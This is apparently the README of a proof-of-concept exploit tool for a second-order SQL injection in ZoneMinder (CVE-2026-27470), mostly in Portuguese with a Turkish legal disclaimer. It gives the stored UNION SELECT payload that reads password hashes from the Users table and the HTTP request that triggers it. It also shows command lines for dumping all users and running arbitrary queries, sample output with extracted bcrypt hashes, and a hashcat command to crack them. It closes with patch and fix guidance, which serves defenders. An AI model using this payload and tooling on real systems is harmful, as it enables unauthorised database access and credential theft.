
Prova de conceito de exploração para uma injeção SQL de segunda ordem no ZoneMinder (CVE-2026-27470). Demonstra extração autenticada de dados, incluindo credenciais de usuário, com opções para consultas personalizadas e despejo de hashes.
⚠️ YASAL UYARI / AVISO LEGAL
Bu araç yalnızca eğitim amaçlı ve yazılı izin alınmış güvenlik testleri için geliştirilmiştir. Sahip olmadığınız veya test etmek için açık yazılı izniniz olmayan sistemlere karşı kullanılması yasadışıdır. Yetkisiz erişim, birçok ülkede ağır cezai yaptırımlara tabidir (Türkiye TCK m.243-245, ABD CFAA, AB NIS Direktifi vb.). Bu aracın kötüye kullanımından doğacak her türlü yasal sorumluluk kullanıcıya aittir; yazar hiçbir sorumluluk kabul etmez.
Esta ferramenta é fornecida estritamente para fins educacionais e de pesquisa de segurança autorizada. Usá-la contra sistemas que você não possui ou para os quais não tem permissão explícita por escrito para testar é ilegal. O acesso não autorizado pode violar leis como a CFAA (EUA), o Computer Misuse Act (Reino Unido) e legislação equivalente em todo o mundo. O autor não assume nenhuma responsabilidade por qualquer uso indevido desta ferramenta.
Prova de conceito de exploração para uma vulnerabilidade de injeção SQL de segunda ordem no ZoneMinder. Um usuário autenticado com permissões de edição e visualização de pode extrair dados arbitrários do banco de dados — incluindo todas as credenciais de usuário.
Events| Campo | Detalhes |
|---|---|
| ID CVE | CVE-2026-27470 |
| Severidade | ALTA — CVSS 8.8 |
| Vetor | AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| Afetados | ZoneMinder ≤ 1.36.37 e 1.37.61 – 1.38.0 |
| Corrigido em | 1.36.38 / 1.38.1 |
| Arquivo | web/ajax/status.php → getNearEvents() |
| CWE | CWE-89: Neutralização Incorreta de Comandos SQL |
| Autenticação Necessária | Sim — permissão de edição + visualização de Events |
Esta é uma injeção SQL de segunda ordem (armazenada) clássica. O ataque ocorre em duas fases separadas, razão pela qual scanners tradicionais frequentemente não a detectam.
Fase 1 — Gravação Segura
O atacante renomeia um evento com uma carga maliciosa. O ZoneMinder usa corretamente uma consulta parametrizada aqui, então a carga é armazenada com segurança no banco de dados sem acionar nenhum erro:
POST /index.php HTTP/1.1
request=event&action=rename&id=1&eventName=' UNION SELECT Password,NULL FROM Users LIMIT 0,1-- -
// web/ajax/event.php — seguro ✅
dbQuery('UPDATE Events SET Name = ? WHERE Id = ?', [$_REQUEST['eventName'], $id]);
Neste ponto, tudo parece limpo. A carga está silenciosamente na coluna Events.Name.
Fase 2 — Leitura Vulnerável
O atacante aciona getNearEvents() solicitando os eventos próximos para o mesmo registro de evento. A função lê o valor Name armazenado de volta do banco de dados e o concatena diretamente em uma nova consulta SQL sem qualquer escape:
GET /index.php?request=status&entity=nearevents&id=1&sort_field=Name&sort_asc=1 HTTP/1.1
// web/ajax/status.php ~linha 460 — VULNERÁVEL ❌
$event = dbFetchOne('SELECT * FROM Events WHERE Id=?', NULL, [$id]);
$sql = 'SELECT E.Id, E.StartDateTime FROM Events E
INNER JOIN Monitors M ON E.MonitorId = M.Id
WHERE E.Name >= \'' . $event[$_REQUEST['sort_field']] . '\' // ← ponto de injeção
AND (' . $filter->sql() . ') AND E.Id < ' . $event['Id'];
A carga armazenada rompe o contexto de string e o UNION SELECT injetado é executado, vazando dados no campo NextEventId da resposta JSON:
{
"result": "Ok",
"nearevents": {
"EventId": "1",
"NextEventId": "$2b$12$NHZsm6AM2f2LQVROriz79ul3D6DnmFiZC.ZK5eqbF.ZWfwH9bqUJ6",
"NextEventStartTime": null
}
}
O desenvolvedor cometeu um erro muito comum: sanitizou corretamente a entrada do usuário no momento da gravação, criando uma falsa sensação de segurança. A suposição de que "dados do nosso próprio banco de dados são seguros" permitiu que a vulnerabilidade existisse no caminho de leitura por anos. WAFs e a maioria dos scanners automatizados não detectarão isso porque a solicitação de gravação parece completamente limpa.
pip install requests
-t, --target URL do alvo (ex.: http://10.10.10.10:8080)
-u, --username Nome de usuário do ZoneMinder
-p, --password Senha do ZoneMinder
--event-id ID do evento a ser usado como vetor de injeção
--query Consulta SQL personalizada a ser executada
--dump-users Extrair todos os nomes de usuário e hashes de senha
--field Campo de injeção: Name (padrão) ou Cause
--no-restore Não restaurar o nome do evento após a exploração
# Verificar a versão do banco de dados (teste mais simples)
python3 poc.py -t http://ALVO -u admin -p admin --event-id 1 \
--query "SELECT VERSION()"
# Extrair todos os usuários e hashes de senha
python3 poc.py -t http://ALVO -u admin -p admin --event-id 1 \
--dump-users
# Injetar pelo campo Cause em vez de Name
python3 poc.py -t http://ALVO -u admin -p admin --event-id 1 \
--field Cause --dump-users
# Consulta personalizada
python3 poc.py -t http://ALVO -u admin -p admin --event-id 1 \
--query "SELECT @@hostname"
╔══════════════════════════════════════════════════════════╗
║ CVE-2026-27470 — ZoneMinder Second-Order SQLi PoC ║
║ CVSS 8.8 | Authenticated | Events Permission ║
╚══════════════════════════════════════════════════════════╝
[*] Target : http://10.10.10.10:8080
[*] Logging in...
[+] Session established.
[+] Event ID (manual): 1
[*] Injecting payload (Name field)...
[+] Payload stored via parameterized query — looks clean in DB.
[*] Triggering second-order injection...
[*] HTTP 200
[*] Event name restored.
[+] User count: 2
[*] Running query: SELECT Username FROM Users LIMIT 0,1
[*] Running query: SELECT Password FROM Users LIMIT 0,1
[+] User 1: admin:$2b$12$NHZsm6AM2f2LQVROriz79ul3D6DnmFiZC.ZK5eqbF.ZWfwH9bqUJ6
[*] Running query: SELECT Username FROM Users LIMIT 1,1
[*] Running query: SELECT Password FROM Users LIMIT 1,1
[+] User 2: operator:$2b$12$xK8s...
Atacante ZoneMinder MariaDB
│ │ │
│ POST /index.php │ │
│ action=rename │ │
│ eventName=<PAYLOAD> ──────► │ │
│ │ UPDATE Events SET Name=? ──►│
│ │ (parameterized — safe) │
│ │◄─────────────────────────────│
│ │ │
│ GET /index.php │ │
│ entity=nearevents ──────► │ │
│ sort_field=Name │ SELECT * FROM Events WHERE │
│ │ Id=? ──►│
│ │◄── Name = '<PAYLOAD>' ───────│
│ │ │
│ │ builds SQL string: │
│ │ WHERE Name >= '<PAYLOAD>' │
│ │ (no escaping!) │
│ │ UNION SELECT executes ────► │
│ │◄── credentials ──────────────│
│◄── JSON with leaked data ─────│ │
# Quebrar hashes coletados com hashcat
hashcat -m 3200 hashes.txt /usr/share/wordlists/rockyou.txt
Events.Name é varchar(64) no banco de dados — mantenha as cargas de injeção abaixo de 63 caracteresnearevents.NextEventId na resposta JSONAtualize o ZoneMinder para 1.36.38 ou 1.38.1.
A correção é usar um placeholder de consulta parametrizada para o valor armazenado em vez de concatenação de strings:
// Antes (vulnerável)
$sql = "... WHERE E.Name >= '" . $event[$sort_field] . "'";
// Depois (corrigido)
$sql = "... WHERE E.Name >= ?";
$result = dbQuery($sql, [$event[$sort_field]]);
Esta ferramenta é exclusivamente para fins educacionais e de pesquisa de segurança autorizada.
Não a use contra sistemas que você não possui ou para os quais não tenha permissão explícita por escrito para testar.